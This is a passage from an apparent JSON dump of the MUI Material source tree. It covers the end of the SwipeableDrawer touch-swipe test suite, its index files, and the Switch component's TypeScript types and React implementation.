}}\n          >\n            <div data-testid=\"drawer\" style={{ position: 'relative', pointerEvents: 'all' }}>\n              <div\n                data-testid=\"handle\"\n                style={{\n                  position: 'absolute',\n                  height: `${handleHeight}px`,\n                  marginTop: `-${handleHeight}px`,\n                }}\n              >\n                SwipeableDrawer\n              </div>\n            </div>\n          </SwipeableDrawer>,\n        );\n\n        const handle = screen.getAllByTestId('handle').slice(-1)[0];\n\n        fireEvent.touchStart(handle, {\n          touches: [\n            new Touch({ identifier: 0, target: handle, ...openTouchesForSwipingChildren[0] }),\n          ],\n        });\n        fireEvent.touchMove(handle, {\n          touches: [\n            new Touch({ identifier: 0, target: handle, ...openTouchesForSwipingChildren[1] }),\n          ],\n        });\n        fireEvent.touchMove(handle, {\n          touches: [\n            new Touch({ identifier: 0, target: handle, ...openTouchesForSwipingChildren[2] }),\n          ],\n        });\n        fireEvent.touchEnd(handle, {\n          changedTouches: [\n            new Touch({ identifier: 0, target: handle, ...openTouchesForSwipingChildren[2] }),\n          ],\n        });\n        expect(handleOpen.callCount).to.equal(1);\n      });\n\n      it('should not allow swiping on children to open that are excluded via a function', () => {\n        const handleOpen = spy();\n        render(\n          <SwipeableDrawer\n            anchor={'bottom'}\n            allowSwipeInChildren={(event) => {\n              const elem = event.target;\n              // ignore touch events from .ignore &^ from swipe area\n              return (\n                !elem.classList.contains('ignore') &&\n                !elem.classList.contains('PrivateSwipeArea-root')\n              );\n            }}\n            onOpen={handleOpen}\n            onClose={() => {}}\n            open={false}\n            swipeAreaWidth={20}\n            ModalProps={{\n              keepMounted: true,\n              sx: {\n                '& > *': {\n                  pointerEvents: 'auto',\n                },\n              },\n            }}\n            slotProps={{\n              root: {},\n              paper: { component: FakePaper },\n              swipeArea: {\n                style: {\n                  // ensure clicks will not be grabbed by swipe area to ensure testing just this functionality\n                  pointerEvents: 'none',\n                },\n              },\n            }}\n          >\n            <div\n              className=\"ignore\"\n              data-testid=\"drawer\"\n              style={{ position: 'relative', height: '40px', pointerEvents: 'all' }}\n            >\n              <div\n                data-testid=\"handle\"\n                style={{ position: 'absolute', height: '40px', marginTop: '-40px' }}\n              >\n                SwipeableDrawer\n              </div>\n            </div>\n          </SwipeableDrawer>,\n        );\n\n        // should ignore the drawer touch events\n        const drawer = screen.getAllByTestId('drawer').slice(-1)[0];\n\n        fireEvent.touchStart(drawer, {\n          touches: [\n            new Touch({ identifier: 0, target: drawer, ...openTouchesForSwipingChildren[0] }),\n          ],\n        });\n        fireEvent.touchMove(drawer, {\n          touches: [\n            new Touch({ identifier: 0, target: drawer, ...openTouchesForSwipingChildren[1] }),\n          ],\n        });\n        fireEvent.touchMove(drawer, {\n          touches: [\n            new Touch({ identifier: 0, target: drawer, ...openTouchesForSwipingChildren[2] }),\n          ],\n        });\n        fireEvent.touchEnd(drawer, {\n          changedTouches: [\n            new Touch({ identifier: 0, target: drawer, ...openTouchesForSwipingChildren[2] }),\n          ],\n        });\n        expect(handleOpen.callCount).to.equal(0);\n\n        // should allow opening the drawer via handle\n        const handle = screen.getAllByTestId('handle').slice(-1)[0];\n\n        fireEvent.touchStart(handle, {\n          touches: [\n            new Touch({ identifier: 0, target: handle, ...openTouchesForSwipingChildren[0] }),\n          ],\n        });\n        fireEvent.touchMove(handle, {\n          touches: [\n            new Touch({ identifier: 0, target: handle, ...openTouchesForSwipingChildren[1] }),\n          ],\n        });\n        fireEvent.touchMove(handle, {\n          touches: [\n            new Touch({ identifier: 0, target: handle, ...openTouchesForSwipingChildren[2] }),\n          ],\n        });\n        fireEvent.touchEnd(handle, {\n          changedTouches: [\n            new Touch({ identifier: 0, target: handle, ...openTouchesForSwipingChildren[2] }),\n          ],\n        });\n        expect(handleOpen.callCount).to.equal(1);\n      });\n    });\n  });\n\n  it('should be able to attach paper ref passed through PaperProps', () => {\n    const ref = React.createRef();\n    render(\n      <SwipeableDrawer\n        onOpen={() => {}}\n        onClose={() => {}}\n        open\n        slotProps={{\n          paper: { ref },\n        }}\n      >\n        <div />\n      </SwipeableDrawer>,\n    );\n    expect(ref.current).not.to.equal(null);\n  });\n\n  describe('disableSwipeToOpen', () => {\n    it('should not support swipe to open if disableSwipeToOpen is set', () => {\n      const handleOpen = spy();\n      render(\n        <SwipeableDrawer\n          disableSwipeToOpen\n          onOpen={handleOpen}\n          onClose={() => {}}\n          open={false}\n          slotProps={{\n            paper: { component: FakePaper },\n          }}\n        >\n          <div>SwipeableDrawer</div>\n        </SwipeableDrawer>,\n      );\n\n      fireEvent.touchStart(document.body, {\n        touches: [new Touch({ identifier: 0, target: document.body, pageX: 10, clientY: 0 })],\n      });\n      fireEvent.touchMove(document.body, {\n        touches: [new Touch({ identifier: 0, target: document.body, pageX: 150, clientY: 0 })],\n      });\n      fireEvent.touchEnd(document.body, {\n        changedTouches: [\n          new Touch({ identifier: 0, target: document.body, pageX: 250, clientY: 0 }),\n        ],\n      });\n\n      expect(handleOpen.callCount).to.equal(0);\n    });\n\n    it('should support swipe to close if disableSwipeToOpen is set', () => {\n      const handleClose = spy();\n      render(\n        <SwipeableDrawer\n          disableSwipeToOpen\n          onOpen={() => {}}\n          onClose={handleClose}\n          open\n          slotProps={{\n            paper: { component: FakePaper, 'data-testid': 'paper' },\n          }}\n        >\n          <div>SwipeableDrawer</div>\n        </SwipeableDrawer>,\n      );\n\n      const paper = screen.getByTestId('paper');\n      fireEvent.touchStart(paper, {\n        touches: [new Touch({ identifier: 0, target: paper, pageX: 250, clientY: 0 })],\n      });\n      fireEvent.touchMove(document.body, {\n        touches: [new Touch({ identifier: 0, target: document.body, pageX: 150, clientY: 0 })],\n      });\n      fireEvent.touchEnd(document.body, {\n        changedTouches: [\n          new Touch({ identifier: 0, target: document.body, pageX: 10, clientY: 0 }),\n        ],\n      });\n\n      expect(handleClose.callCount).to.equal(1);\n    });\n  });\n\n  describe('lock', () => {\n    it('should handle a single swipe at the time', () => {\n      const handleOpen = spy();\n      render(\n        <div>\n          <SwipeableDrawer\n            onOpen={handleOpen}\n            onClose={() => {}}\n            open={false}\n            slotProps={{\n              paper: { component: FakePaper },\n              swipeArea: { 'data-testid': 'swipearea' },\n            }}\n          >\n            <div>Drawer1</div>\n          </SwipeableDrawer>\n          <SwipeableDrawer\n            onOpen={handleOpen}\n            onClose={() => {}}\n            open={false}\n            slotProps={{\n              paper: { component: FakePaper },\n              swipeArea: { 'data-testid': 'swipearea' },\n            }}\n          >\n            <div>Drawer2</div>\n          </SwipeableDrawer>\n        </div>,\n      );\n\n      // Event order recorded with https://codesandbox.io/p/sandbox/single-swipearea-lock-ksyss\n      const topMostSwipeArea = screen.getAllByTestId('swipearea').slice(-1)[0];\n      fireEvent.touchStart(topMostSwipeArea, {\n        touches: [new Touch({ identifier: 0, target: topMostSwipeArea, pageX: 0, clientY: 0 })],\n      });\n      fireEvent.touchMove(topMostSwipeArea, {\n        touches: [new Touch({ identifier: 0, target: topMostSwipeArea, pageX: 20, clientY: 0 })],\n      });\n      fireEvent.touchMove(topMostSwipeArea, {\n        touches: [new Touch({ identifier: 0, target: topMostSwipeArea, pageX: 180, clientY: 0 })],\n      });\n      fireEvent.touchEnd(topMostSwipeArea, {\n        changedTouches: [\n          new Touch({ identifier: 0, target: topMostSwipeArea, pageX: 180, clientY: 0 }),\n        ],\n      });\n\n      expect(handleOpen.callCount).to.equal(1);\n    });\n  });\n\n  it('does not crash when updating the parent component while swiping', () => {\n    render(\n      <SwipeableDrawer\n        onOpen={() => {}}\n        onClose={() => {}}\n        open={false}\n        slotProps={{\n          paper: { component: NullPaper },\n          swipeArea: { 'data-testid': 'swipearea' },\n        }}\n      >\n        <div>SwipeableDrawer</div>\n      </SwipeableDrawer>,\n    );\n\n    const swipeArea = screen.getByTestId('swipearea');\n    fireEvent.touchStart(swipeArea, {\n      touches: [new Touch({ identifier: 0, target: swipeArea, pageX: 0, clientY: 0 })],\n    });\n    // simulate paper ref being null because of the drawer being updated\n    fireEvent.touchMove(document.body, {\n      touches: [new Touch({ identifier: 0, target: document.body, pageX: 20, clientY: 0 })],\n    });\n  });\n\n  describe('no backdrop', () => {\n    it('should hide backdrop', () => {\n      render(<SwipeableDrawer onClose={() => {}} onOpen={() => {}} open hideBackdrop />);\n      expect(document.querySelector(`.${backdropClasses.root}`)).to.equal(null);\n    });\n\n    it('does not crash when backdrop is hidden while swiping', () => {\n      render(<SwipeableDrawer onClose={() => {}} onOpen={() => {}} open hideBackdrop />);\n      const drawer = document.querySelector(`.${drawerClasses.root}`);\n      fireEvent.touchStart(drawer, {\n        touches: [new Touch({ identifier: 0, target: drawer, pageX: 0, clientY: 0 })],\n      });\n    });\n  });\n\n  describe('native scroll', () => {\n    // Need layout\n    it.skipIf(isJsdom())('should not drag is native scroll is available', function test() {\n      const handleClose = spy();\n      render(\n        <SwipeableDrawer onOpen={() => {}} onClose={handleClose} anchor=\"bottom\" open>\n          <div style={{ height: 10000, flexShrink: 0 }}>\n            <div data-testid=\"drawer\">SwipeableDrawer</div>\n          </div>\n        </SwipeableDrawer>,\n      );\n\n      const windowHeight = window.innerHeight;\n      const drawer = screen.getByTestId('drawer');\n\n      const Paper = document.querySelector('.MuiPaper-root');\n      Paper.scrollTop = 10;\n\n      // Perform a full swipe down to close sequence\n      fireEvent.touchStart(drawer, {\n        touches: [\n          new Touch({ identifier: 0, target: drawer, pageX: 0, clientY: windowHeight - 200 }),\n        ],\n      });\n      fireEvent.touchMove(drawer, {\n        touches: [\n          new Touch({ identifier: 0, target: drawer, pageX: 0, clientY: windowHeight - 180 }),\n        ],\n      });\n      fireEvent.touchMove(drawer, {\n        touches: [\n          new Touch({ identifier: 0, target: drawer, pageX: 0, clientY: windowHeight - 10 }),\n        ],\n      });\n      fireEvent.touchEnd(drawer, {\n        changedTouches: [\n          new Touch({ identifier: 0, target: drawer, pageX: 0, clientY: windowHeight - 10 }),\n        ],\n      });\n      expect(handleClose.callCount).to.equal(0);\n    });\n  });\n\n  // Need layouting\n  it.skipIf(isJsdom())('should not prevent scrolling a container', function test() {\n    const handleTouchMove = spy();\n\n    function Test() {\n      React.useEffect(() => {\n        document.addEventListener('touchmove', handleTouchMove);\n        return () => {\n          document.removeEventListener('touchmove', handleTouchMove);\n        };\n      }, []);\n\n      return (\n        <SwipeableDrawer anchor=\"top\" open onOpen={() => {}} onClose={() => {}}>\n          <div style={{ width: 1000, height: 100 }} data-testid=\"target\" />\n        </SwipeableDrawer>\n      );\n    }\n\n    render(<Test />);\n    const target = screen.getByTestId('target');\n    // Perform a full swipe left to horizontally scroll\n    fireEvent.touchStart(target, {\n      touches: [new Touch({ identifier: 0, target, pageX: 100, clientY: 0 })],\n    });\n    fireEvent.touchMove(target, {\n      touches: [new Touch({ identifier: 0, target, pageX: 50, clientY: 0 })],\n    });\n    expect(handleTouchMove.callCount).to.equal(1);\n    expect(handleTouchMove.firstCall.args[0]).to.have.property('defaultPrevented', false);\n  });\n\n  // Need layouting\n  it.skipIf(isJsdom())(\n    'should not ignore scroll container if parent is overflow hidden',\n    function test() {\n      const handleTouchMove = spy();\n\n      function Test() {\n        React.useEffect(() => {\n          document.addEventListener('touchmove', handleTouchMove);\n          return () => {\n            document.removeEventListener('touchmove', handleTouchMove);\n          };\n        }, []);\n\n        return (\n          <SwipeableDrawer anchor=\"left\" open onOpen={() => {}} onClose={() => {}}>\n            <div style={{ overflow: 'hidden', width: 100 }}>\n              <div style={{ overflow: 'auto' }}>\n                <div style={{ width: 1000, height: 100 }} data-testid=\"target\" />\n              </div>\n            </div>\n          </SwipeableDrawer>\n        );\n      }\n\n      render(<Test />);\n      const target = screen.getByTestId('target');\n      // Perform a full swipe left to horizontally scroll\n      fireEvent.touchStart(target, {\n        touches: [new Touch({ identifier: 0, target, pageX: 100, clientY: 0 })],\n      });\n      fireEvent.touchMove(target, {\n        touches: [new Touch({ identifier: 0, target, pageX: 50, clientY: 0 })],\n      });\n\n      expect(handleTouchMove.callCount).to.equal(1);\n      expect(handleTouchMove.firstCall.args[0]).to.have.property('defaultPrevented', false);\n    },\n  );\n\n  describe('prop: transitionDuration', () => {\n    it.skipIf(isJsdom())('should render the default theme values by default', function test() {\n      const theme = createTheme();\n      const enteringScreenDurationInSeconds = theme.transitions.duration.enteringScreen / 1000;\n      render(<SwipeableDrawer onOpen={() => {}} onClose={() => {}} open />);\n\n      const backdropRoot = document.querySelector(`.${backdropClasses.root}`);\n      expect(backdropRoot).toHaveComputedStyle({\n        transitionDuration: `${enteringScreenDurationInSeconds}s`,\n      });\n    });\n\n    it.skipIf(isJsdom())('should render the custom theme values', function test() {\n      const theme = createTheme({\n        transitions: {\n          duration: {\n            enteringScreen: 1,\n          },\n        },\n      });\n\n      render(\n        <ThemeProvider theme={theme}>\n          <SwipeableDrawer onOpen={() => {}} onClose={() => {}} open />\n        </ThemeProvider>,\n      );\n\n      const backdropRoot = document.querySelector(`.${backdropClasses.root}`);\n      expect(backdropRoot).toHaveComputedStyle({\n        transitionDuration: '0.001s',\n      });\n    });\n\n    it.skipIf(isJsdom())('should render the values provided via prop', function test() {\n      render(<SwipeableDrawer onOpen={() => {}} onClose={() => {}} open transitionDuration={1} />);\n\n      const backdropRoot = document.querySelector(`.${backdropClasses.root}`);\n      expect(backdropRoot).toHaveComputedStyle({\n        transitionDuration: '0.001s',\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/SwipeableDrawer/index.d.ts",
    "content": "export { default } from './SwipeableDrawer';\nexport * from './SwipeableDrawer';\n"
  },
  {
    "path": "packages/mui-material/src/SwipeableDrawer/index.js",
    "content": "export { default } from './SwipeableDrawer';\n"
  },
  {
    "path": "packages/mui-material/src/Switch/Switch.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverridableStringUnion } from '@mui/types';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { CreateSlotsAndSlotProps, SlotProps } from '../utils/types';\nimport { SwitchBaseProps } from '../internal/SwitchBase';\nimport { SwitchClasses } from './switchClasses';\n\nexport interface SwitchPropsSizeOverrides {}\n\nexport interface SwitchPropsColorOverrides {}\n\nexport interface SwitchRootSlotPropsOverrides {}\nexport interface SwitchTrackSlotPropsOverrides {}\nexport interface SwitchThumbSlotPropsOverrides {}\nexport interface SwitchSwitchBaseSlotPropsOverrides {}\nexport interface SwitchInputSlotPropsOverrides {}\n\nexport interface SwitchSlots {\n  /**\n   * The component that renders the root slot.\n   * @default 'span'\n   */\n  root: React.ElementType;\n  /**\n   * The component that renders the track slot.\n   * @default 'span'\n   */\n  track: React.ElementType;\n  /**\n   * The component that renders the thumb slot.\n   * @default 'span'\n   */\n  thumb: React.ElementType;\n  /**\n   * The component that renders the switchBase slot.\n   * @default SwitchBase\n   */\n  switchBase: React.ElementType;\n  /**\n   * The component that renders the switchBase's input slot.\n   * @default SwitchBaseInput\n   */\n  input: React.ElementType;\n}\n\nexport type SwitchSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  SwitchSlots,\n  {\n    /**\n     * Props forwarded to the root slot.\n     * By default, the available props are based on the span element.\n     */\n    root: SlotProps<'span', SwitchRootSlotPropsOverrides, SwitchOwnerState>;\n    /**\n     * Props forwarded to the track slot.\n     * By default, the available props are based on the span element.\n     */\n    track: SlotProps<'span', SwitchTrackSlotPropsOverrides, SwitchOwnerState>;\n    /**\n     * Props forwarded to the thumb slot.\n     * By default, the available props are based on the span element.\n     */\n    thumb: SlotProps<'span', SwitchThumbSlotPropsOverrides, SwitchOwnerState>;\n    /**\n     * Props forwarded to the switchBase slot.\n     * By default, the available props are based on the internal SwitchBase component.\n     */\n    switchBase: SlotProps<\n      React.ElementType<SwitchBaseProps>,\n      SwitchSwitchBaseSlotPropsOverrides,\n      SwitchOwnerState\n    >;\n    /**\n     * Props forwarded to the input slot.\n     * By default, the available props are based on the input element.\n     */\n    input: SlotProps<'input', SwitchInputSlotPropsOverrides, SwitchOwnerState>;\n  }\n>;\n\nexport interface SwitchOwnerState extends Omit<SwitchProps, 'slots' | 'slotProps'> {}\n\nexport interface SwitchProps\n  extends\n    StandardProps<SwitchBaseProps, 'checkedIcon' | 'color' | 'icon' | 'slots' | 'slotProps'>,\n    SwitchSlotsAndSlotProps {\n  /**\n   * The icon to display when the component is checked.\n   */\n  checkedIcon?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<SwitchClasses> | undefined;\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'primary'\n   */\n  color?:\n    | OverridableStringUnion<\n        'primary' | 'secondary' | 'error' | 'info' | 'success' | 'warning' | 'default',\n        SwitchPropsColorOverrides\n      >\n    | undefined;\n  /**\n   * If `true`, the component is disabled.\n   */\n  disabled?: boolean | undefined;\n  /**\n   * The icon to display when the component is unchecked.\n   */\n  icon?: React.ReactNode;\n  /**\n   * The size of the component.\n   * `small` is equivalent to the dense switch styling.\n   * @default 'medium'\n   */\n  size?: OverridableStringUnion<'small' | 'medium', SwitchPropsSizeOverrides> | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The value of the component. The DOM API casts this to a string.\n   * The browser uses \"on\" as the default value.\n   */\n  value?: unknown;\n}\n\n/**\n *\n * Demos:\n *\n * - [Switch](https://next.mui.com/material-ui/react-switch/)\n * - [Transfer List](https://next.mui.com/material-ui/react-transfer-list/)\n *\n * API:\n *\n * - [Switch API](https://next.mui.com/material-ui/api/switch/)\n * - inherits [IconButton API](https://next.mui.com/material-ui/api/icon-button/)\n */\nexport default function Switch(props: SwitchProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/Switch/Switch.js",
    "content": "'use client';\n// @inheritedComponent IconButton\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport capitalize from '../utils/capitalize';\nimport createSimplePaletteValueFilter from '../utils/createSimplePaletteValueFilter';\nimport SwitchBase from '../internal/SwitchBase';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport switchClasses, { getSwitchUtilityClass } from './switchClasses';\nimport useSlot from '../utils/useSlot';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, edge, size, color, checked, disabled } = ownerState;\n\n  const slots = {\n    root: ['root', edge && `edge${capitalize(edge)}`, `size${capitalize(size)}`],\n    switchBase: [\n      'switchBase',\n      `color${capitalize(color)}`,\n      checked && 'checked',\n      disabled && 'disabled',\n    ],\n    thumb: ['thumb'],\n    track: ['track'],\n    input: ['input'],\n  };\n\n  const composedClasses = composeClasses(slots, getSwitchUtilityClass, classes);\n\n  return {\n    ...classes, // forward the disabled and checked classes to the SwitchBase\n    ...composedClasses,\n  };\n};\n\nconst SwitchRoot = styled('span', {\n  name: 'MuiSwitch',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.root,\n      ownerState.edge && styles[`edge${capitalize(ownerState.edge)}`],\n      styles[`size${capitalize(ownerState.size)}`],\n    ];\n  },\n})({\n  display: 'inline-flex',\n  width: 34 + 12 * 2,\n  height: 14 + 12 * 2,\n  overflow: 'hidden',\n  padding: 12,\n  boxSizing: 'border-box',\n  position: 'relative',\n  flexShrink: 0,\n  zIndex: 0, // Reset the stacking context.\n  verticalAlign: 'middle', // For correct alignment with the text.\n  '@media print': {\n    colorAdjust: 'exact',\n  },\n  variants: [\n    {\n      props: { edge: 'start' },\n      style: { marginLeft: -8 },\n    },\n    {\n      props: { edge: 'end' },\n      style: { marginRight: -8 },\n    },\n    {\n      props: { size: 'small' },\n      style: {\n        width: 40,\n        height: 24,\n        padding: 7,\n        [`& .${switchClasses.thumb}`]: {\n          width: 16,\n          height: 16,\n        },\n        [`& .${switchClasses.switchBase}`]: {\n          padding: 4,\n          [`&.${switchClasses.checked}`]: {\n            transform: 'translateX(16px)',\n          },\n        },\n      },\n    },\n  ],\n});\n\nconst SwitchSwitchBase = styled(SwitchBase, {\n  name: 'MuiSwitch',\n  slot: 'SwitchBase',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.switchBase,\n      { [`& .${switchClasses.input}`]: styles.input },\n      ownerState.color !== 'default' && styles[`color${capitalize(ownerState.color)}`],\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    position: 'absolute',\n    top: 0,\n    left: 0,\n    zIndex: 1, // Render above the focus ripple.\n    color: theme.vars\n      ? theme.vars.palette.Switch.defaultColor\n      : `${theme.palette.mode === 'light' ? theme.palette.common.white : theme.palette.grey[300]}`,\n    transition: theme.transitions.create(['left', 'transform'], {\n      duration: theme.transitions.duration.shortest,\n    }),\n    [`&.${switchClasses.checked}`]: {\n      transform: 'translateX(20px)',\n    },\n    [`&.${switchClasses.disabled}`]: {\n      color: theme.vars\n        ? theme.vars.palette.Switch.defaultDisabledColor\n        : `${theme.palette.mode === 'light' ? theme.palette.grey[100] : theme.palette.grey[600]}`,\n    },\n    [`&.${switchClasses.checked} + .${switchClasses.track}`]: {\n      opacity: 0.5,\n    },\n    [`&.${switchClasses.disabled} + .${switchClasses.track}`]: {\n      opacity: theme.vars\n        ? theme.vars.opacity.switchTrackDisabled\n        : `${theme.palette.mode === 'light' ? 0.12 : 0.2}`,\n    },\n    [`& .${switchClasses.input}`]: {\n      left: '-100%',\n      width: '300%',\n    },\n  })),\n  memoTheme(({ theme }) => ({\n    '&:hover': {\n      backgroundColor: theme.alpha(\n        (theme.vars || theme).palette.action.active,\n        (theme.vars || theme).palette.action.hoverOpacity,\n      ),\n      // Reset on touch devices, it doesn't add specificity\n      '@media (hover: none)': {\n        backgroundColor: 'transparent',\n      },\n    },\n    variants: [\n      ...Object.entries(theme.palette)\n        .filter(createSimplePaletteValueFilter(['light'])) // check all the used fields in the style below\n        .map(([color]) => ({\n          props: { color },\n          style: {\n            [`&.${switchClasses.checked}`]: {\n              color: (theme.vars || theme).palette[color].main,\n              '&:hover': {\n                backgroundColor: theme.alpha(\n                  (theme.vars || theme).palette[color].main,\n                  (theme.vars || theme).palette.action.hoverOpacity,\n                ),\n                '@media (hover: none)': {\n                  backgroundColor: 'transparent',\n                },\n              },\n              [`&.${switchClasses.disabled}`]: {\n                color: theme.vars\n                  ? theme.vars.palette.Switch[`${color}DisabledColor`]\n                  : `${\n                      theme.palette.mode === 'light'\n                        ? theme.lighten(theme.palette[color].main, 0.62)\n                        : theme.darken(theme.palette[color].main, 0.55)\n                    }`,\n              },\n            },\n            [`&.${switchClasses.checked} + .${switchClasses.track}`]: {\n              backgroundColor: (theme.vars || theme).palette[color].main,\n            },\n          },\n        })),\n    ],\n  })),\n);\n\nconst SwitchTrack = styled('span', {\n  name: 'MuiSwitch',\n  slot: 'Track',\n})(\n  memoTheme(({ theme }) => ({\n    height: '100%',\n    width: '100%',\n    borderRadius: 14 / 2,\n    zIndex: -1,\n    transition: theme.transitions.create(['opacity', 'background-color'], {\n      duration: theme.transitions.duration.shortest,\n    }),\n    backgroundColor: theme.vars\n      ? theme.vars.palette.common.onBackground\n      : `${theme.palette.mode === 'light' ? theme.palette.common.black : theme.palette.common.white}`,\n    opacity: theme.vars\n      ? theme.vars.opacity.switchTrack\n      : `${theme.palette.mode === 'light' ? 0.38 : 0.3}`,\n  })),\n);\n\nconst SwitchThumb = styled('span', {\n  name: 'MuiSwitch',\n  slot: 'Thumb',\n})(\n  memoTheme(({ theme }) => ({\n    boxShadow: (theme.vars || theme).shadows[1],\n    backgroundColor: 'currentColor',\n    width: 20,\n    height: 20,\n    borderRadius: '50%',\n  })),\n);\n\nconst Switch = React.forwardRef(function Switch(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiSwitch' });\n  const {\n    className,\n    color = 'primary',\n    edge = false,\n    size = 'medium',\n    sx,\n    slots = {},\n    slotProps = {},\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    color,\n    edge,\n    size,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  const [RootSlot, rootSlotProps] = useSlot('root', {\n    className: clsx(classes.root, className),\n    elementType: SwitchRoot,\n    externalForwardedProps,\n    ownerState,\n    additionalProps: {\n      sx,\n    },\n  });\n\n  const [ThumbSlot, thumbSlotProps] = useSlot('thumb', {\n    className: classes.thumb,\n    elementType: SwitchThumb,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  const icon = <ThumbSlot {...thumbSlotProps} />;\n\n  const [TrackSlot, trackSlotProps] = useSlot('track', {\n    className: classes.track,\n    elementType: SwitchTrack,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  return (\n    <RootSlot {...rootSlotProps}>\n      <SwitchSwitchBase\n        type=\"checkbox\"\n        icon={icon}\n        checkedIcon={icon}\n        ref={ref}\n        ownerState={ownerState}\n        {...other}\n        classes={{\n          ...classes,\n          root: classes.switchBase,\n        }}\n        slots={{\n          ...(slots.switchBase && { root: slots.switchBase }),\n          ...(slots.input && { input: slots.input }),\n        }}\n        slotProps={{\n          ...(slotProps.switchBase && {\n            root:\n              typeof slotProps.switchBase === 'function'\n                ? slotProps.switchBase(ownerState)\n                : slotProps.switchBase,\n          }),\n          input: {\n            role: 'switch',\n          },\n          ...(slotProps.input && {\n            input:\n              typeof slotProps.input === 'function' ? slotProps.input(ownerState) : slotProps.input,\n          }),\n        }}\n      />\n      <TrackSlot {...trackSlotProps} />\n    </RootSlot>\n  );\n});\n\nSwitch.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * If `true`, the component is checked.\n   */\n  checked: PropTypes.bool,\n  /**\n   * The icon to display when the component is checked.\n   */\n  checkedIcon: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The color of the component.\n   * It supports both default and custom theme colors, which can be added as shown in the\n   * [palette customization guide](https://mui.com/material-ui/customization/palette/#custom-colors).\n   * @default 'primary'\n   */\n  color: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['default', 'primary', 'secondary', 'error', 'info', 'success', 'warning']),\n    PropTypes.string,\n  ]),\n  /**\n   * The default checked state. Use when the component is not controlled.\n   */\n  defaultChecked: PropTypes.bool,\n  /**\n   * If `true`, the component is disabled.\n   */\n  disabled: PropTypes.bool,\n  /**\n   * If `true`, the ripple effect is disabled.\n   * @default false\n   */\n  disableRipple: PropTypes.bool,\n  /**\n   * If given, uses a negative margin to counteract the padding on one\n   * side (this is often helpful for aligning the left or right\n   * side of the icon with content above or below, without ruining the border\n   * size and shape).\n   * @default false\n   */\n  edge: PropTypes.oneOf(['end', 'start', false]),\n  /**\n   * The icon to display when the component is unchecked.\n   */\n  icon: PropTypes.node,\n  /**\n   * The id of the `input` element.\n   */\n  id: PropTypes.string,\n  /**\n   * Callback fired when the state is changed.\n   *\n   * @param {React.ChangeEvent<HTMLInputElement>} event The event source of the callback.\n   * You can pull out the new value by accessing `event.target.value` (string).\n   * You can pull out the new checked state by accessing `event.target.checked` (boolean).\n   */\n  onChange: PropTypes.func,\n  /**\n   * If `true`, the `input` element is required.\n   * @default false\n   */\n  required: PropTypes.bool,\n  /**\n   * The size of the component.\n   * `small` is equivalent to the dense switch styling.\n   * @default 'medium'\n   */\n  size: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    PropTypes.oneOf(['medium', 'small']),\n    PropTypes.string,\n  ]),\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    input: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    switchBase: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    thumb: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    track: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    input: PropTypes.elementType,\n    root: PropTypes.elementType,\n    switchBase: PropTypes.elementType,\n    thumb: PropTypes.elementType,\n    track: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The value of the component. The DOM API casts this to a string.\n   * The browser uses \"on\" as the default value.\n   */\n  value: PropTypes.any,\n};\n\nexport default Switch;\n"
  },
  {
    "path": "packages/mui-material/src/Switch/Switch.test.js",
